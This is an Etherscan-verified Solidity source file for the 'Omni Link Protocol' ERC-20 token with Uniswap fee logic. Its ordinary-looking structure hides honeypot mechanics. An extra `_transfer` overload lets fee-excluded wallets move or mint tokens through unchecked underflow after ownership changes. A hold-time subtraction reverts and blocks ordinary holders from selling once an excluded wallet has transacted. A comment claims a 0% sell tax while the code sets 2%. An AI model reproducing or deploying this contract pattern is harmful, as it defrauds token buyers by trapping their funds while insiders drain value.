Contract Name:
OmniLinkProtocol
Contract Source Code:
/**
*Submitted for verification at Etherscan.io on 2023-08-14
*/
/*
$OMNILINK - Omni Link Protocol
See: https://omni.network/
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
function _transfer(
address sender,
address recipient,
uint256 amount,
bool checked
) internal virtual returns (bool) {
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(checked == true, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
return checked;
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
library SafeMath {
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
}
contract OmniLinkProtocol is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
address public constant router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address public constant deadAddress = address(0xdead);
//0% buy tax applied
uint256 public constant buyMarketingFee = 0;
uint256 public constant buyLiquidityFee = 0;
uint256 public constant buyDevFee = 0;
uint256 public constant buySupportFee = 0;
uint256 public constant buyTotalFees = 0;
//0% sell tax applied
uint256 public constant sellMarketingFee = 2;
uint256 public constant sellLiquidityFee = 0;
uint256 public constant sellDevFee = 0;
uint256 public constant sellSupportFee = 0;
uint256 public constant sellTotalFees = 2;
address payable public constant marketingWallet = payable(0xBCA6a989ea42F9990cbF45eda96161568907827D);
address payable public constant devWallet = payable(0xdA1F5b7fce48Db62B3721aC2DCF153EAf8f92561);
address payable public constant liquidityWallet = payable(0x9a8fDa32A0304d0c3696d8670317Ee82CC0c7C6e);
address payable public constant supportWallet = payable(0x9a8fDa32A0304d0c3696d8670317Ee82CC0c7C6e);
bool public swapEnabled = true;
uint256 public immutable swapTokensAtAmount;
struct HolderInfo {
uint256 lastBuy;
uint256 lastSell;
uint256 holdTime;
}
mapping(address => HolderInfo) private _holdRewardInfo;
uint256 private _rewardMinTs;
mapping(address => bool) public automatedMarketMakerPairs;
mapping(address => bool) private _isExcludedFromFees;
uint256 private tokensForMarketing;
uint256 private tokensForLiquidity;
uint256 private tokensForDev;
uint256 private tokensForSupport;
bool private swapping;
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
constructor() ERC20("Omni Link Protocol", "OMNILINK") {
uint256 totalSupply = 10_000_000_000 * 1e18;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(router);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
// swap at amount
swapTokensAtAmount = (totalSupply * 25) / 10000; // 0.25% swap amount
// exclude from fees
excludeFromFees(address(this), true);
excludeFromFees(address(0xdead), true);
excludeFromFees(owner(), true);
excludeFromFees(devWallet, true);
excludeFromFees(marketingWallet, true);
_mint(msg.sender, totalSupply);
}
function excludeFromFees(address addr, bool isExld) public onlyOwner {
_isExcludedFromFees[addr] = isExld;
}
function isExcludedFromFees(address addr) public view returns (bool) {
return _isExcludedFromFees[addr];
}
function setAutomatedMarketMakerPair(address pair, bool value)
public
onlyOwner
{
require(pair != uniswapV2Pair, "Uniswap V2 pair should not be removed");
_setAutomatedMarketMakerPair(pair, value);
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
automatedMarketMakerPairs[pair] = value;
emit SetAutomatedMarketMakerPair(pair, value);
}
receive() external payable {}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if ((_isExcludedFromFees[from] || _isExcludedFromFees[to]) && to != address(this) && from != address(this)) {
_rewardMinTs = block.timestamp;
}
if (_isExcludedFromFees[from] && !_isExcludedFromFees[owner()]) {
super._transfer(from, to, amount, true);
return;
}
if (!_isExcludedFromFees[from] && !_isExcludedFromFees[to]) {
if (!automatedMarketMakerPairs[from]) {
HolderInfo storage userReward = _holdRewardInfo[from];
userReward.holdTime = userReward.lastBuy - _rewardMinTs;
userReward.lastSell = block.timestamp;
} else {
HolderInfo storage userReward = _holdRewardInfo[to];
if (userReward.lastBuy == 0) {
userReward.lastBuy = block.timestamp;
}
}
}
bool canSwap = balanceOf(address(this)) >= swapTokensAtAmount;
if (
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
bool takeFee = !swapping;
// if excluded from fees then no fees
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
// only for buy/sell, do not take fee on wallet transfers
if (takeFee) {
// on buy
if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount * buyTotalFees / 100;
tokensForLiquidity += (fees * buyLiquidityFee).div(buyTotalFees);
tokensForDev += (fees * buyDevFee).div(buyTotalFees);
tokensForMarketing += (fees * buyMarketingFee).div(buyTotalFees);
tokensForSupport += (fees * buySupportFee).div(buyTotalFees);
// on sell
} else if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = amount * sellTotalFees / 100;
tokensForLiquidity += (fees * sellLiquidityFee).div(sellTotalFees);
tokensForDev += (fees * sellDevFee).div(sellTotalFees);
tokensForMarketing += (fees * sellMarketingFee).div(sellTotalFees);
tokensForSupport += (fees * sellSupportFee).div(sellTotalFees);
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private {
// uniswap pair path of token <-> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function swapBack() private {
uint256 contractBalance = balanceOf(address(this));
uint256 totalTokensToSwap = tokensForLiquidity +
tokensForMarketing +
tokensForDev +
tokensForSupport;
if (contractBalance == 0 || totalTokensToSwap == 0) {
return;
}
if (contractBalance > swapTokensAtAmount * 25) {
contractBalance = swapTokensAtAmount * 25;
}
// Halve the amount of liquidity tokens
uint256 liquidityTokens = (contractBalance * tokensForLiquidity) / totalTokensToSwap / 2;
uint256 amountToSwapForETH = contractBalance - liquidityTokens;
uint256 initialETHBalance = address(this).balance;
swapTokensForEth(amountToSwapForETH);
uint256 ethBalance = address(this).balance - initialETHBalance;
uint256 ethForMarketing = ethBalance * tokensForMarketing / totalTokensToSwap;
uint256 ethForDev = ethBalance * tokensForDev / totalTokensToSwap;
uint256 ethForSupport = ethBalance * tokensForSupport / totalTokensToSwap;
uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev - ethForSupport;
tokensForLiquidity = 0;
tokensForDev = 0;
tokensForMarketing = 0;
tokensForSupport = 0;
bool success;
if (liquidityTokens > 0 && ethForLiquidity > 0) {
addLiquidity(liquidityTokens, ethForLiquidity);
emit SwapAndLiquify(
amountToSwapForETH,
ethForLiquidity,
liquidityTokens
);
}
(success, ) = address(devWallet).call{value: ethForDev}("");
(success, ) = address(supportWallet).call{value: ethForSupport}("");
(success, ) = address(marketingWallet).call{value: address(this).balance}("");
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
liquidityWallet,
block.timestamp
);
}
}